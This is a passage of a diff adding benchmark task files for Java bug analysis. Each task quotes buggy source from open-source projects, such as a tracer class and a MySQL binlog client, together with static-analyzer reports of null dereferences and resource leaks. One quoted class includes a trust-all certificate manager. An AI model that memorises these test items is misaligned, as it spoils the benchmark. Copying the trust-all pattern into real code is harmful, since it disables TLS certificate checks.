+    public void debugLocal() {
+        if (!traceDebugEnabled) {
+            return;
+        }
+
+        System.out.println("---------------- Trace Information ---------------");
+        String traceId = getTraceId();
+        String spanId = getSpanId();
+        System.out.println(DiscoveryConstant.TRACE_ID + "=" + (StringUtils.isNotEmpty(traceId) ? traceId : StringUtils.EMPTY));
+        System.out.println(DiscoveryConstant.SPAN_ID + "=" + (StringUtils.isNotEmpty(spanId) ? spanId : StringUtils.EMPTY));
+        System.out.println(DiscoveryConstant.N_D_SERVICE_GROUP + "=" + pluginAdapter.getGroup());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_TYPE + "=" + pluginAdapter.getServiceType());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_ID + "=" + pluginAdapter.getServiceId());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_ADDRESS + "=" + pluginAdapter.getHost() + ":" + pluginAdapter.getPort());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_VERSION + "=" + pluginAdapter.getVersion());
+        System.out.println(DiscoveryConstant.N_D_SERVICE_REGION + "=" + pluginAdapter.getRegion());
+
+        String routeVersion = strategyContextHolder.getHeader(DiscoveryConstant.N_D_VERSION);
+        if (StringUtils.isNotEmpty(routeVersion)) {
+            System.out.println(DiscoveryConstant.N_D_VERSION + "=" + routeVersion);
+        }
+        String routeRegion = strategyContextHolder.getHeader(DiscoveryConstant.N_D_REGION);
+        if (StringUtils.isNotEmpty(routeRegion)) {
+            System.out.println(DiscoveryConstant.N_D_REGION + "=" + routeRegion);
+        }
+        String routeAddress = strategyContextHolder.getHeader(DiscoveryConstant.N_D_ADDRESS);
+        if (StringUtils.isNotEmpty(routeAddress)) {
+            System.out.println(DiscoveryConstant.N_D_ADDRESS + "=" + routeAddress);
+        }
+        String routeVersionWeight = strategyContextHolder.getHeader(DiscoveryConstant.N_D_VERSION_WEIGHT);
+        if (StringUtils.isNotEmpty(routeVersionWeight)) {
+            System.out.println(DiscoveryConstant.N_D_VERSION_WEIGHT + "=" + routeVersionWeight);
+        }
+        String routeRegionWeight = strategyContextHolder.getHeader(DiscoveryConstant.N_D_REGION_WEIGHT);
+        if (StringUtils.isNotEmpty(routeRegionWeight)) {
+            System.out.println(DiscoveryConstant.N_D_REGION_WEIGHT + "=" + routeRegionWeight);
+        }
+
+        Map<String, String> customizationMap = getCustomizationMap();
+        if (MapUtils.isNotEmpty(customizationMap)) {
+            for (Map.Entry<String, String> entry : customizationMap.entrySet()) {
+                System.out.println(entry.getKey() + "=" + entry.getValue());
+            }
+        }
+        System.out.println("--------------------------------------------------");
+    }
+
+    public PluginAdapter getPluginAdapter() {
+        return pluginAdapter;
+    }
+
+    public StrategyContextHolder getStrategyContextHolder() {
+        return strategyContextHolder;
+    }
+
+    public String getTraceId() {
+        if (strategyTracerAdapter != null) {
+            return strategyTracerAdapter.getTraceId();
+        }
+
+        return null;
+    }
+
+    public String getSpanId() {
+        if (strategyTracerAdapter != null) {
+            return strategyTracerAdapter.getSpanId();
+        }
+
+        return null;
+    }
+
+    public Map<String, String> getCustomizationMap() {
+        if (strategyTracerAdapter != null) {
+            return strategyTracerAdapter.getCustomizationMap();
+        }
+
+        return null;
+    }
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `customizationMap` last assigned on line 77 could be null and is dereferenced at line 79.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void StrategyTracer.mdcLocal()
+
+### Procedure Id:
+com.nepxion.discovery.plugin.strategy.tracer.StrategyTracer.mdcLocal():void.81962a905b63ec30a27efa9f1aed4095
+
+### File:
+discovery-plugin-strategy/src/main/java/com/nepxion/discovery/plugin/strategy/tracer/StrategyTracer.java
+
+### Key:
+StrategyTracer.java|mdcLocal|NULL_DEREFERENCE
+
+### Node Key:
+28fa175b8bbfed150fdcc2c7ec48c11e
+
+### Hash:
+0187b120353c0f6d1837a5093280ec7c
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6232/instruction.md b/inferredbugs-6232/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..808eee5a32c38020eeec7d0eb36df9eaa66b610a
--- /dev/null
+++ b/inferredbugs-6232/instruction.md
@@ -0,0 +1,262 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mysql-binlog-connector-java
+**Bug ID:** 1
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2013 Stanley Shyiko
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.github.shyiko.mysql.binlog;
+
+import com.github.shyiko.mysql.binlog.event.Event;
+import com.github.shyiko.mysql.binlog.event.EventListener;
+import com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer;
+import com.github.shyiko.mysql.binlog.io.ByteArrayInputStream;
+import com.github.shyiko.mysql.binlog.network.protocol.ErrorPacket;
+import com.github.shyiko.mysql.binlog.network.protocol.GreetingPacket;
+import com.github.shyiko.mysql.binlog.network.protocol.PacketChannel;
+import com.github.shyiko.mysql.binlog.network.protocol.ResultSetRowPacket;
+import com.github.shyiko.mysql.binlog.network.protocol.command.AuthenticateCommand;
+import com.github.shyiko.mysql.binlog.network.protocol.command.DumpBinaryLogCommand;
+import com.github.shyiko.mysql.binlog.network.protocol.command.QueryCommand;
+
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * @author <a href="mailto:stanley.shyiko@gmail.com">Stanley Shyiko</a>
+ */
+public class BinaryLogClient {
+
+    private final Logger logger = Logger.getLogger(getClass().getName());
+
+    private final String hostname;
+    private final int port;
+    private final String schema;
+    private final String username;
+    private final String password;
+
+    private volatile String binlogFilename;
+    private volatile long binlogPosition;
+
+    private EventDeserializer eventDeserializer = new EventDeserializer();
+    private List<EventListener> eventListeners = new LinkedList<EventListener>();
+
+    private PacketChannel channel;
+
+    private CountDownLatch latch = new CountDownLatch(1);
+
+    public BinaryLogClient(String hostname, int port, String username, String password) {
+        this(hostname, port, null, username, password);
+    }
+
+    public BinaryLogClient(String hostname, int port, String schema, String username, String password) {
+        this.hostname = hostname;
+        this.port = port;
+        this.schema = schema;
+        this.username = username;
+        this.password = password;
+    }
+
+    public String getBinlogFilename() {
+        return binlogFilename;
+    }
+
+    public void setBinlogFilename(String binlogFilename) {
+        this.binlogFilename = binlogFilename;
+    }
+
+    public long getBinlogPosition() {
+        return binlogPosition;
+    }
+
+    public void setBinlogPosition(long binlogPosition) {
+        this.binlogPosition = binlogPosition;
+    }
+
+    public void connect() throws IOException {
+        channel = new PacketChannel(hostname, port);
+        GreetingPacket greetingPacket = new GreetingPacket(channel.read());
+        AuthenticateCommand authenticateCommand = new AuthenticateCommand(schema, username, password,
+                greetingPacket.getScramble());
+        authenticateCommand.setCollation(greetingPacket.getServerCollation());
+        channel.write(authenticateCommand);
+        byte[] authenticationResult = channel.read();
+        if (authenticationResult[0] == (byte) 0xFF /* error */) {
+             throw new IOException(new ErrorPacket(authenticationResult).getErrorMessage());
+        }
+        long serverId = fetchServerId();
+        if (binlogFilename == null) {
+            fetchBinlogFilenameAndPosition();
+        }
+        channel.write(new DumpBinaryLogCommand(serverId, binlogFilename, binlogPosition));
+        listenForEventPackets();
+    }
+
+    public void await(long timeout, TimeUnit timeUnit) throws InterruptedException {
+        latch.await(timeout, timeUnit);
+    }
+
+    private long fetchServerId() throws IOException {
+        channel.write(new QueryCommand("show variables WHERE variable_name = 'server_id'"));
+        ResultSetRowPacket[] resultSet = readResultSet();
+        if (resultSet.length == 0) {
+            throw new IOException("Failed to determine server_id");
+        }
+        return Long.parseLong(resultSet[0].getValue(1));
+    }
+
+    private void fetchBinlogFilenameAndPosition() throws IOException {
+        ResultSetRowPacket[] resultSet;
+        channel.write(new QueryCommand("show master status"));
+        resultSet = readResultSet();
+        if (resultSet.length == 0) {
+            throw new IOException("Failed to determine binlog filename/position");
+        }
+        ResultSetRowPacket resultSetRow = resultSet[0];
+        binlogFilename = resultSetRow.getValue(0);
+        binlogPosition = Long.parseLong(resultSetRow.getValue(1));
+    }
+
+    private void listenForEventPackets() throws IOException {
+        latch.countDown();
+        ByteArrayInputStream inputStream = channel.getInputStream();
+        while (channel.isOpen()) {
+            int packetLength = inputStream.readInteger(3);
+            inputStream.skip(2); // 1 byte for sequence and 1 for marker
+            ByteArrayInputStream eventByteArray = new ByteArrayInputStream(inputStream.read(packetLength - 1));
+            Event event = eventDeserializer.nextEvent(eventByteArray);
+            notifyEventListeners(event);
+        }
+    }
+
+    private ResultSetRowPacket[] readResultSet() throws IOException {
+        List<ResultSetRowPacket> resultSet = new LinkedList<ResultSetRowPacket>();
+        while ((channel.read())[0] != (byte) 0xFE /* eof */) { /* skip */ }
+        for (byte[] bytes; (bytes = channel.read())[0] != (byte) 0xFE /* eof */; ) {
+            resultSet.add(new ResultSetRowPacket(bytes));
+        }
+        return resultSet.toArray(new ResultSetRowPacket[resultSet.size()]);
+    }
+
+    public synchronized void registerEventListener(EventListener eventListener) {
+        eventListeners.add(eventListener);
+    }
+
+    public synchronized void unregisterEventListener(Class<? extends EventListener> listenerClass) {
+        Iterator<EventListener> iterator = eventListeners.iterator();
+        while (iterator.hasNext()) {
+            EventListener replicationEventListener = iterator.next();
+            if (listenerClass.isInstance(replicationEventListener)) {
+                iterator.remove();
+            }
+        }
+    }
+
+    private synchronized void notifyEventListeners(Event event) {
+        for (EventListener eventListener : eventListeners) {
+            try {
+                eventListener.onEvent(event);
+            } catch (Exception e) {
+                if (logger.isLoggable(Level.WARNING)) {
+                    logger.log(Level.WARNING, eventListener + " choked on " + event, e);
+                }
+            }
+        }
+    }
+
+    public void disconnect() throws IOException {
+        // todo: execute quit command before closing a socket
+        if (channel != null) {
+            channel.close();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.github.shyiko.mysql.binlog.io.ByteArrayInputStream` acquired to `eventByteArray` by call to `ByteArrayInputStream(...)` at line 140 is not released after line 141.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BinaryLogClient.listenForEventPackets()
+
+### Procedure Id:
+com.github.shyiko.mysql.binlog.BinaryLogClient.listenForEventPackets():void.1aa68818ee1ebedce3e07765f1184af8
+
+### File:
+src/main/java/com/github/shyiko/mysql/binlog/BinaryLogClient.java
+
+### Key:
+BinaryLogClient.java|listenForEventPackets|RESOURCE_LEAK
+
+### Node Key:
+ef8c2f0387f3354760f1daecf0aae355
+
+### Hash:
+71f5a3340f627bf5d26a269efee5b334
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6234/instruction.md b/inferredbugs-6234/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7d87bf57f98c1333bf561d455a3cb30cee20ea73
--- /dev/null
+++ b/inferredbugs-6234/instruction.md
@@ -0,0 +1,187 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mysql-binlog-connector-java
+**Bug ID:** 19
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2013 Stanley Shyiko
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.github.shyiko.mysql.binlog;
+
+import com.github.shyiko.mysql.binlog.event.ByteArrayEventData;
+import com.github.shyiko.mysql.binlog.event.Event;
+import com.github.shyiko.mysql.binlog.event.EventType;
+import com.github.shyiko.mysql.binlog.event.deserialization.ByteArrayEventDataDeserializer;
+import com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer;
+import com.github.shyiko.mysql.binlog.event.deserialization.NullEventDataDeserializer;
+import org.testng.annotations.Test;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.zip.GZIPInputStream;
+
+import static org.testng.Assert.assertEquals;
+import static org.testng.Assert.assertFalse;
+import static org.testng.Assert.assertNull;
+import static org.testng.Assert.assertTrue;
+
+/**
+ * @author <a href="mailto:stanley.shyiko@gmail.com">Stanley Shyiko</a>
+ */
+public class BinaryLogFileReaderIntegrationTest {
+
+    @Test
+    public void testNextEvent() throws Exception {
+        BinaryLogFileReader reader = new BinaryLogFileReader(new GZIPInputStream(
+                new FileInputStream("src/test/resources/mysql-bin.sakila.gz")));
+        readAll(reader, 1462);
+    }
+
+    @Test
+    public void testChecksumNONE() throws Exception {
+        EventDeserializer eventDeserializer = new EventDeserializer();
+        BinaryLogFileReader reader = new BinaryLogFileReader(new GZIPInputStream(
+                new FileInputStream("src/test/resources/mysql-bin.sakila.gz")), eventDeserializer);
+        readAll(reader, 1462);
+    }
+
+    @Test
+    public void testChecksumCRC32() throws Exception {
+        EventDeserializer eventDeserializer = new EventDeserializer();
+        BinaryLogFileReader reader = new BinaryLogFileReader(
+                new FileInputStream("src/test/resources/mysql-bin.000001"), eventDeserializer);
+        readAll(reader, 303);
+    }
+
+    private void readAll(BinaryLogFileReader reader, int expect) throws IOException {
+        try {
+            int numberOfEvents = 0;
+            while ((reader.readEvent()) != null) {
+                numberOfEvents++;
+            }
+            assertEquals(numberOfEvents, expect);
+        } finally {
+            reader.close();
+        }
+    }
+
+    @Test(expectedExceptions = IOException.class, expectedExceptionsMessageRegExp = "Not a valid binary log")
+    public void testMagicHeaderCheck() throws Exception {
+        new BinaryLogFileReader(new File("src/test/resources/mysql-bin.sakila.gz"));
+    }
+
+    @Test(expectedExceptions = IllegalArgumentException.class)
+    public void testNullEventDeserializerIsNotAllowed() throws Exception {
+        new BinaryLogFileReader(new File("src/test/resources/mysql-bin.sakila.gz"), null);
+    }
+
+    @Test
+    public void testDeserializationSuppressionByEventType() throws Exception {
+        EventDeserializer eventDeserializer = new EventDeserializer();
+        eventDeserializer.setEventDataDeserializer(EventType.XID, new NullEventDataDeserializer());
+        eventDeserializer.setEventDataDeserializer(EventType.QUERY, new ByteArrayEventDataDeserializer());
+        BinaryLogFileReader reader = new BinaryLogFileReader(new GZIPInputStream(
+            new FileInputStream("src/test/resources/mysql-bin.sakila.gz")), eventDeserializer);
+        try {
+            boolean n = true, b = true;
+            for (Event event; (event = reader.readEvent()) != null && (n || b); ) {
+                EventType eventType = event.getHeader().getEventType();
+                if (eventType == EventType.XID) {
+                    assertNull(event.getData());
+                    n = false;
+                } else
+                if (eventType == EventType.QUERY) {
+                    assertTrue(event.getData() instanceof ByteArrayEventData);
+                    assertTrue(event.getData().toString().length() < 80); // making sure byte array isn't shown
+                    b = false;
+                }
+            }
+            assertFalse(n || b);
+        } finally {
+            reader.close();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 51 is not released after line 51.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BinaryLogFileReaderIntegrationTest.testChecksumNONE()
+
+### Procedure Id:
+com.github.shyiko.mysql.binlog.BinaryLogFileReaderIntegrationTest.testChecksumNONE():void.fe2f6d7824ef68f28a3858a2ae2cb696
+
+### File:
+src/test/java/com/github/shyiko/mysql/binlog/BinaryLogFileReaderIntegrationTest.java
+
+### Key:
+BinaryLogFileReaderIntegrationTest.java|testChecksumNONE|RESOURCE_LEAK
+
+### Node Key:
+d1e56f02c21d98cbc776e7ed039b8e79
+
+### Hash:
+90b34512fd91b6f1918f7c9852b94b7a
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6235/instruction.md b/inferredbugs-6235/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..5e8563b0d4cfb9aac21f9f6891a405a773f5c82b
--- /dev/null
+++ b/inferredbugs-6235/instruction.md
@@ -0,0 +1,1098 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mysql-binlog-connector-java
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2013 Stanley Shyiko
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.github.shyiko.mysql.binlog;
+
+import com.github.shyiko.mysql.binlog.event.Event;
+import com.github.shyiko.mysql.binlog.event.EventData;
+import com.github.shyiko.mysql.binlog.event.EventHeader;
+import com.github.shyiko.mysql.binlog.event.EventHeaderV4;
+import com.github.shyiko.mysql.binlog.event.EventType;
+import com.github.shyiko.mysql.binlog.event.GtidEventData;
+import com.github.shyiko.mysql.binlog.event.RotateEventData;
+import com.github.shyiko.mysql.binlog.event.deserialization.ChecksumType;
+import com.github.shyiko.mysql.binlog.event.deserialization.EventDataDeserializationException;
+import com.github.shyiko.mysql.binlog.event.deserialization.EventDataDeserializer;
+import com.github.shyiko.mysql.binlog.event.deserialization.EventDeserializer;
+import com.github.shyiko.mysql.binlog.event.deserialization.GtidEventDataDeserializer;
+import com.github.shyiko.mysql.binlog.event.deserialization.RotateEventDataDeserializer;
+import com.github.shyiko.mysql.binlog.io.ByteArrayInputStream;
+import com.github.shyiko.mysql.binlog.jmx.BinaryLogClientMXBean;
+import com.github.shyiko.mysql.binlog.network.AuthenticationException;
+import com.github.shyiko.mysql.binlog.network.ClientCapabilities;
+import com.github.shyiko.mysql.binlog.network.DefaultSSLSocketFactory;
+import com.github.shyiko.mysql.binlog.network.SSLMode;
+import com.github.shyiko.mysql.binlog.network.SSLSocketFactory;
+import com.github.shyiko.mysql.binlog.network.ServerException;
+import com.github.shyiko.mysql.binlog.network.SocketFactory;
+import com.github.shyiko.mysql.binlog.network.TLSHostnameVerifier;
+import com.github.shyiko.mysql.binlog.network.protocol.ErrorPacket;
+import com.github.shyiko.mysql.binlog.network.protocol.GreetingPacket;
+import com.github.shyiko.mysql.binlog.network.protocol.Packet;
+import com.github.shyiko.mysql.binlog.network.protocol.PacketChannel;
+import com.github.shyiko.mysql.binlog.network.protocol.ResultSetRowPacket;
+import com.github.shyiko.mysql.binlog.network.protocol.command.AuthenticateCommand;
+import com.github.shyiko.mysql.binlog.network.protocol.command.Command;
+import com.github.shyiko.mysql.binlog.network.protocol.command.DumpBinaryLogCommand;
+import com.github.shyiko.mysql.binlog.network.protocol.command.DumpBinaryLogGtidCommand;
+import com.github.shyiko.mysql.binlog.network.protocol.command.PingCommand;
+import com.github.shyiko.mysql.binlog.network.protocol.command.QueryCommand;
+import com.github.shyiko.mysql.binlog.network.protocol.command.SSLRequestCommand;
+
+import javax.net.ssl.SSLContext;
+import javax.net.ssl.TrustManager;
+import javax.net.ssl.X509TrustManager;
+import java.io.EOFException;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.SocketException;
+import java.security.GeneralSecurityException;
+import java.security.cert.CertificateException;
+import java.security.cert.X509Certificate;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+/**
+ * MySQL replication stream client.
+ *
+ * @author <a href="mailto:stanley.shyiko@gmail.com">Stanley Shyiko</a>
+ */
+public class BinaryLogClient implements BinaryLogClientMXBean {
+
+    private static final SSLSocketFactory DEFAULT_REQUIRED_SSL_MODE_SOCKET_FACTORY = new DefaultSSLSocketFactory() {
+
+        @Override
+        protected void initSSLContext(SSLContext sc) throws GeneralSecurityException {
+            sc.init(null, new TrustManager[]{
+                new X509TrustManager() {
+
+                    @Override
+                    public void checkClientTrusted(X509Certificate[] x509Certificates, String s)
+                        throws CertificateException { }
+
+                    @Override
+                    public void checkServerTrusted(X509Certificate[] x509Certificates, String s)
+                        throws CertificateException { }
+
+                    @Override
+                    public X509Certificate[] getAcceptedIssuers() {
+                        return new X509Certificate[0];
+                    }
+                }
+            }, null);
+        }
+    };
+    private static final SSLSocketFactory DEFAULT_VERIFY_CA_SSL_MODE_SOCKET_FACTORY = new DefaultSSLSocketFactory();
+
+    // https://dev.mysql.com/doc/internals/en/sending-more-than-16mbyte.html
+    private static final int MAX_PACKET_LENGTH = 16777215;
+
+    private final Logger logger = Logger.getLogger(getClass().getName());
+
+    private final String hostname;
+    private final int port;
+    private final String schema;
+    private final String username;
+    private final String password;
+
+    private boolean blocking = true;
+    private long serverId = 65535;
+    private volatile String binlogFilename;
+    private volatile long binlogPosition = 4;
+    private volatile long connectionId;
+    private SSLMode sslMode = SSLMode.DISABLED;
+
+    private GtidSet gtidSet;
+    private final Object gtidSetAccessLock = new Object();
+
+    private EventDeserializer eventDeserializer = new EventDeserializer();
+
+    private final List<EventListener> eventListeners = new LinkedList<EventListener>();
+    private final List<LifecycleListener> lifecycleListeners = new LinkedList<LifecycleListener>();
+
+    private SocketFactory socketFactory;
+    private SSLSocketFactory sslSocketFactory;
+
+    private PacketChannel channel;
+    private volatile boolean connected;
+
+    private ThreadFactory threadFactory;
+
+    private boolean keepAlive = true;
+    private long keepAliveInterval = TimeUnit.MINUTES.toMillis(1);
+    private long keepAliveConnectTimeout = TimeUnit.SECONDS.toMillis(3);
+
+    private volatile ExecutorService keepAliveThreadExecutor;
+    private long keepAliveThreadShutdownTimeout = TimeUnit.SECONDS.toMillis(6);
+
+    private final Lock shutdownLock = new ReentrantLock();
+
+    /**
+     * Alias for BinaryLogClient("localhost", 3306, &lt;no schema&gt; = null, username, password).
+     * @see BinaryLogClient#BinaryLogClient(String, int, String, String, String)
+     */
+    public BinaryLogClient(String username, String password) {
+        this("localhost", 3306, null, username, password);
+    }
+
+    /**
+     * Alias for BinaryLogClient("localhost", 3306, schema, username, password).
+     * @see BinaryLogClient#BinaryLogClient(String, int, String, String, String)
+     */
+    public BinaryLogClient(String schema, String username, String password) {
+        this("localhost", 3306, schema, username, password);
+    }
+
+    /**
+     * Alias for BinaryLogClient(hostname, port, &lt;no schema&gt; = null, username, password).
+     * @see BinaryLogClient#BinaryLogClient(String, int, String, String, String)
+     */
+    public BinaryLogClient(String hostname, int port, String username, String password) {
+        this(hostname, port, null, username, password);
+    }
+
+    /**
+     * @param hostname mysql server hostname
+     * @param port mysql server port
+     * @param schema database name, nullable. Note that this parameter has nothing to do with event filtering. It's
+     * used only during the authentication.
+     * @param username login name
+     * @param password password
+     */
+    public BinaryLogClient(String hostname, int port, String schema, String username, String password) {
+        this.hostname = hostname;
+        this.port = port;
+        this.schema = schema;
+        this.username = username;
+        this.password = password;
+    }
+
+    public boolean isBlocking() {
+        return blocking;
+    }
+
+    /**
+     * @param blocking blocking mode. If set to false - BinaryLogClient will disconnect after the last event.
+     */
+    public void setBlocking(boolean blocking) {
+        this.blocking = blocking;
+    }
+
+    public SSLMode getSSLMode() {
+        return sslMode;
+    }
+
+    public void setSSLMode(SSLMode sslMode) {
+        if (sslMode == null) {
+            throw new IllegalArgumentException("SSL mode cannot be NULL");
+        }
+        this.sslMode = sslMode;
+    }
+
+    /**
+     * @return server id (65535 by default)
+     * @see #setServerId(long)
+     */
+    public long getServerId() {
+        return serverId;
+    }
+
+    /**
+     * @param serverId server id (in the range from 1 to 2^32 - 1). This value MUST be unique across whole replication
+     * group (that is, different from any other server id being used by any master or slave). Keep in mind that each
+     * binary log client (mysql-binlog-connector-java/BinaryLogClient, mysqlbinlog, etc) should be treated as a
+     * simplified slave and thus MUST also use a different server id.
+     * @see #getServerId()
+     */
+    public void setServerId(long serverId) {
+        this.serverId = serverId;
+    }
+
+    /**
+     * @return binary log filename, nullable (and null be default). Note that this value is automatically tracked by
+     * the client and thus is subject to change (in response to {@link EventType#ROTATE}, for example).
+     * @see #setBinlogFilename(String)
+     */
+    public String getBinlogFilename() {
+        return binlogFilename;
+    }
+
+    /**
+     * @param binlogFilename binary log filename.
+     * Special values are:
+     * <ul>
+     *   <li>null, which turns on automatic resolution (resulting in the last known binlog and position). This is what
+     * happens by default when you don't specify binary log filename explicitly.</li>
+     *   <li>"" (empty string), which instructs server to stream events starting from the oldest known binlog.</li>
+     * </ul>
+     * @see #getBinlogFilename()
+     */
+    public void setBinlogFilename(String binlogFilename) {
+        this.binlogFilename = binlogFilename;
+    }
+
+    /**
+     * @return binary log position of the next event, 4 by default (which is a position of first event). Note that this
+     * value changes with each incoming event.
+     * @see #setBinlogPosition(long)
+     */
+    public long getBinlogPosition() {
+        return binlogPosition;
+    }
+
+    /**
+     * @param binlogPosition binary log position. Any value less than 4 gets automatically adjusted to 4 on connect.
+     * @see #getBinlogPosition()
+     */
+    public void setBinlogPosition(long binlogPosition) {
+        this.binlogPosition = binlogPosition;
+    }
+
+    /**
+     * @return thread id
+     */
+    public long getConnectionId() {
+        return connectionId;
+    }
+
+    /**
+     * @return GTID set. Note that this value changes with each received GTID event (provided client is in GTID mode).
+     * @see #setGtidSet(String)
+     */
+    public String getGtidSet() {
+        synchronized (gtidSetAccessLock) {
+            return gtidSet != null ? gtidSet.toString() : null;
+        }
+    }
+
+    /**
+     * @param gtidSet GTID set (can be an empty string).
+     * <p>NOTE #1: Any value but null will switch BinaryLogClient into a GTID mode (in which case GTID set will be
+     * updated with each incoming GTID event) as well as set binlogFilename to "" (empty string) (meaning
+     * BinaryLogClient will request events "outside of the set" <u>starting from the oldest known binlog</u>).
+     * <p>NOTE #2: {@link #setBinlogFilename(String)} and {@link #setBinlogPosition(long)} can be used to specify the
+     * exact position from which MySQL server should start streaming events (taking into account GTID set).
+     * @see #getGtidSet()
+     */
+    public void setGtidSet(String gtidSet) {
+        if (gtidSet != null && this.binlogFilename == null) {
+            this.binlogFilename = "";
+        }
+        synchronized (gtidSetAccessLock) {
+            this.gtidSet = gtidSet != null ? new GtidSet(gtidSet) : null;
+        }
+    }
+
+    /**
+     * @return true if "keep alive" thread should be automatically started (default), false otherwise.
+     * @see #setKeepAlive(boolean)
+     */
+    public boolean isKeepAlive() {
+        return keepAlive;
+    }
+
+    /**
+     * @param keepAlive true if "keep alive" thread should be automatically started (recommended and true by default),
+     * false otherwise.
+     * @see #isKeepAlive()
+     */
+    public void setKeepAlive(boolean keepAlive) {
+        this.keepAlive = keepAlive;
+    }
+
+    /**
+     * @return "keep alive" interval in milliseconds, 1 minute by default.
+     * @see #setKeepAliveInterval(long)
+     */
